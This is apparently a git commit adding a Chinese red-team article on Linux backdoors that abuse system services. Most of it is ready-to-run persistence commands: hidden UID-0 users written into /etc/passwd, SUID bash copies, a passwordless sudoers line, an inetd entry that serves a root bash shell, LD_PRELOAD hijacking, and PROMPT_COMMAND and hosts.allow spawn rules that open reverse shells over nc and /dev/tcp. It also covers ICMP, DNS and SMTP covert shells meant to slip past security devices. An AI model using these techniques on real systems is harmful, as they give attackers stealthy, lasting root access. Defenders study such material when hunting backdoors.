update Linux后门总结-系统服务利用

This commit is contained in:
Set3r.Pan 2022-11-21 15:48:29 +08:00
parent 69b9ab5a03
commit 8f3c6b597b
21 changed files with 186 additions and 0 deletions

BIN
assets/26_image/36.jpeg Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 14 KiB

BIN
assets/26_image/37.jpeg Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 34 KiB

BIN
assets/26_image/38.jpeg Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 50 KiB

BIN
assets/26_image/39.jpeg Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 35 KiB

BIN
assets/26_image/40.jpeg Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 27 KiB

BIN
assets/26_image/41.jpeg Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 7.6 KiB

BIN
assets/26_image/42.jpeg Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 36 KiB

BIN
assets/26_image/43.jpeg Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 56 KiB

BIN
assets/26_image/44.jpeg Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 79 KiB

BIN
assets/26_image/45.jpeg Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 26 KiB

BIN
assets/26_image/46.jpeg Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 126 KiB

BIN
assets/26_image/47.jpeg Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 33 KiB

BIN
assets/26_image/48.jpeg Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 16 KiB

BIN
assets/26_image/49.jpeg Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 40 KiB

BIN
assets/26_image/50.jpeg Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 84 KiB

BIN
assets/26_image/51.jpeg Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 49 KiB

BIN
assets/26_image/52.jpeg Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 34 KiB

BIN
assets/26_image/53.jpeg Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 22 KiB

BIN
assets/26_image/54.jpeg Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 49 KiB

BIN
assets/26_image/55.jpeg Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 24 KiB

View File

@ -0,0 +1,186 @@
# Linux后门总结-系统服务利用
```
来源:奇安信安全服务
作者None
收录时间2022年11月21日
仅供openKyin社区兴趣研究、学习交流切勿用于非法用途。
```
------
> 导读上篇文章简单介绍了一下各类隐藏技术在HW和红队评估项目中的应用下面给大家介绍的是有关系统服务后门的利用以及针对用户操作一些方法还有一些在内网中可以被用来做反弹shell 的协议,绕过一些常见的安全设备。
<img src="../assets/26_image/0.jpeg" width="700" height="500">
本篇文章是Linux后门总结文章第三篇简单介绍了常见Linux用户后门的用法还有根据系统自带服务利用的一个扩展。
### 添加root用户
有时候觉得加root用户不够隐蔽其实可以模仿着一些公司的默认账号比如说adm、adn之类的在一些大型企业之中因为项目繁多负责的管理运维人员也有可能只是开发人员对于系统自带的一些用户并没有完整的了解所以就给添加用户带来了可能性。
#### passwd写入
```bash
perl -e 'print crypt("123456", "AA"). "\n"'
echo "backdoor:AASwmzPNx.3sg:0:0:me:/root:/bin/bash">>/etc/passwd
```
<img src="../assets/26_image/36.jpeg">
<img src="../assets/26_image/37.jpeg">
#### uid 0用户添加
在 Unix 体系下UID 为 0 就是 root 权限。所以渗透的时候可以添加一个 UID 为 0 的用户作为后门。
```bash
useradd -p `openssl passwd 123456` -o -u 0 guest
/usr/sbin/useradd -o -u 0 hack &>/dev/null && echo hack:123456 | /usr/sbin/chpasswd &>/dev/null
```
<img src="../assets/26_image/38.jpeg">
### SUID
#### suid后门
suid说明
1. 用户或属主对应的前三位权限的x位上如果有s就表示suid权限。当x位上没有小写x执行权限的时候suid的权限显示的就是大S。
2. suid作用是让普通用户可以以root或其他的用户角色运行只有root或其他账号才能运行的程序或命令或程序命令对应本来没有权限操作的文件等。
先查找具有suid的文件
```
find / -perm +4000 -ls
find . -perm /4000
find / -user root -perm -4000 -print 2>/dev/null
```
将具有suid的复制到指定目录然后再给权限执行。
```
cp /bin/bash /.woot
chmod 4755 /.woot
/.woot -p
```
<img src="../assets/26_image/39.jpeg">
列出一些具有suid权限的文件、然后利用一些二进制文件的特性来执行额外的命令。
```
Nmap
Vim
find
Bash
More
Less
Nano
cp
```
常见的suid提权的程序:
<img src="../assets/26_image/40.jpeg">
### reverse_shell
这里说的反弹shell不是上面开头那里说的利用内部软件进行反弹而是利用一些非常规协议来绕过一些安全设备的流量监测功能。
#### tcp/udp shell
tcp/udp的shell可以使用msf生成的tcp马、流量混淆推荐rc4和https偏执模式也能够绕过一些防火墙。
#### icmp shell
使用ICMP来作为隐蔽通道的原理是有一个服务端和一个客户端当它们通信时会用到 ICMPECHO 和 ICMPECHOREPLY的数据部分。这就意味着通过ICMP包的数据部分可以发送和接收数据。
<img src="../assets/26_image/41.jpeg">
这里用python写了一个嗅探功能的小脚本 因为icmp是没有端口概念的也就无法直接建立两台主机上ICMP应用程序的通信。所以程序需要从嗅探到的icmp包中再传给应用层然后再执行其他的。
<img src="../assets/26_image/42.jpeg">
这里使用ish演示
```sh
wget http://prdownloads.sourceforge.net/icmpshell/ish-v0.2.tar.gz
```
被控端
```sh
./ishd -i 6666 -t 0 -p 1024 -d
```
控制端
```sh
./ish -i 6666 -t 0 -p 1024 127.0.0.1
```
<img src="../assets/26_image/43.jpeg">
这样利用icmp传输可以绕过大部分的设备。
#### DNS/smtp shell
这里提一下DNS和smtp服务。之前做的分享中有关于SMTP协议传输shell的思路其实是利用smtp协议可以出网的思路写一个smtp的客户端和服务端对应发送和接受执行内容传输为了方便演示使用的是明文为了增加迷惑性添加删除邮件功能需要提高的就是可以对传输的文本内容进行混淆加密之类的防止安全邮件网关根据关键字拦截邮件。DNS这个的话就是通过解析记录的内容来进行命令的执行还可以配合dnslog来使用。
演示GIF地址https://myblogimages.oss-cn-beijing.aliyuncs.com/img/smtp_cmdshell_win.gif
### sudoers利用
sudo命令可以使用户临时获得管理员权限执行命令sudo的控制都是基于sudoers文件来控制的里面限制了用户名用户组执行什么等。/etc/sudoers的通用格式为user host runas command user:一位或几位用户,在/etc/group中可以用一个%代替它,组对象的名称一定要用百分号%开头。host:一个或几个主机名runas:作为哪个用户运行常见选项是root和ALL command:想让用户或组运行的一个或几个根级别命令。例如hans ALL=(root) useradd,userdel 授权hans用户在所有计算机上以root身份运行useradd,userdel命令。这样我们用一句话将内置/或者我们自己添加的普通权限用户添加到sudoer列表中这样就可以偷着执行管理员权限的命令了。将原本低权限用户当做后门使用。
```sh
sudo su -c "echo 'hack ALL = NOPASSWD: ALL' >> /etc/sudoers.d/README"
```
<img src="../assets/26_image/44.jpeg">
<img src="../assets/26_image/45.jpeg">
可以看到我们不需要密码就可以直接提到root。
### inetd远程后门
inetd也叫作“超级服务器”就是监视一些网络请求的守护进程其根据网络请求来调用相应的服务进程来处理连接请求。inetd.conf则是inetd的配置文件。inetd.conf文件告诉inetd监听哪些网络端口为每个端口启动哪个服务。位置是/etc/inetd.conf 配置格式:[servicename] [socktype] [proto] [flags] [user] [server_path] [args] 在配置文件下写入以下内容。
daytime服务13端口 套接字类型 协议类型 不等待 用户组 提供服务的程序
`daytime stream tcp nowait root /bin/bash bash -i`
<img src="../assets/26_image/46.jpeg">
这样配置好了以后利用`nc attip 13`
<img src="../assets/26_image/47.jpeg">
### 动态链接库后门
linux操作系统的动态链接库在加载过程中动态链接器会先读取LDPRELOAD环境变量和默认配置文件/etc/ld.so.preload并将读取到的动态链接库文件进行预加载即使程序不依赖这些动态链接库LDPRELOAD环境变量和/etc/ld.so.preload配置文件中指定的动态链接库依然会被装载这样就导致了动态链接库文件可以被当做后门使用。
#### LD_PRELOAD
这里创建了一个test.c文件其中调用time方法、然后创建了一个testlib.c、其中生成了一个time方法供test调用 编译后用LD_PRELOAD=$PWD/testlib.so ./test劫持了time。
```c
//test.c
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
int main(){
srand(time(NULL));
return 0;
}
//编译gcc -o test test.c
```
```c
//testlib.c
#include <stdio.h>
int time(){
printf("hello hacker");
return 0; //the most random number in the universe
}
//编译gcc -shared -fPIC testlib.c -o test.so
```
<img src="../assets/26_image/48.jpeg">
<img src="../assets/26_image/49.jpeg">
#### d.so.preload
同理,修改/etc/ld.so.conf.d/下的conf文件也可以达到劫持的目的。
<img src="../assets/26_image/50.jpeg">
### PROMPT_COMMAND
bash提供了一个环境变量PROMPT_COMMAND,这个变量会在你执行命令前执行一遍。这样就可以利用他执行的命令来留后门。
#### 后门
```sh
export PROMPT_COMMAND="nc -e /bin/bash 127.0.0.1 6666 &"
```
<img src="../assets/26_image/51.jpeg">
#### 提权
如果当前用户是低权账号管理员又经常使用su等、但是自己不知道密码。就可以来使用这种方法。利用sudo的权限提升来新建一个uid为0的用户
```sh
export PROMPT_COMMAND="/usr/sbin/useradd -o -u 0 test2 &>/dev/null && echo test2:123456 | /usr/sbin/chpasswd &>/dev/null && unset PROMPT_COMMAND"
```
<img src="../assets/26_image/52.jpeg">
<img src="../assets/26_image/53.jpeg">
### TCP Wrappers
TCPWrappers是一个工作在第四层传输层的的安全工具对有状态连接的特定服务进行安全检测并实现访问控制凡是包含libwrap.so库文件的的程序就可以受TCPWrappers的安全控制。它的主要功能就是控制谁可以访问常见的程序有rpcbind、vsftpd、sshdtelnet。
#### 工作原理
TCP_Wrappers有一个TCP的守护进程叫做tcpd。以ssh为例每当有ssh的连接请求时tcpd即会截获请求先读取系统管理员所设置的访问控制文件符合要求则会把这次连接原封不动的转给真正的ssh进程由ssh完成后续工作如果这次连接发起的ip不符合访问控制文件中的设置则会中断连接请求拒绝提供ssh服务。
#### 利用
TCP_Wrappers的使用主要是依靠两个配置文件/etc/hosts.allow, /etc/hosts.deny用于拒绝和接受。这里演示使用的是接受配置信息。之所以能够被用作后门是因为他存在一个参数是spawn spawn启动一个外部程序完成执行的操作 修改/etc/hosts.allow文件
```
ALL: ALL: spawn (bash -c "/bin/bash -i >& /dev/tcp/127.0.0.1/6666 0>&1") & :allow
```
<img src="../assets/26_image/54.jpeg">
<img src="../assets/26_image/55.jpeg">
当使用ssh连接的时候它开始匹配规则然后利用spawn执行的nc反弹了一个shell。
**Info**
https://kevien.github.io/2019/02/16/linux%E5%B8%B8%E8%A7%81backdoor%E5%8F%8A%E6%8E%92%E6%9F%A5%E6%8A%80%E6%9C%AF/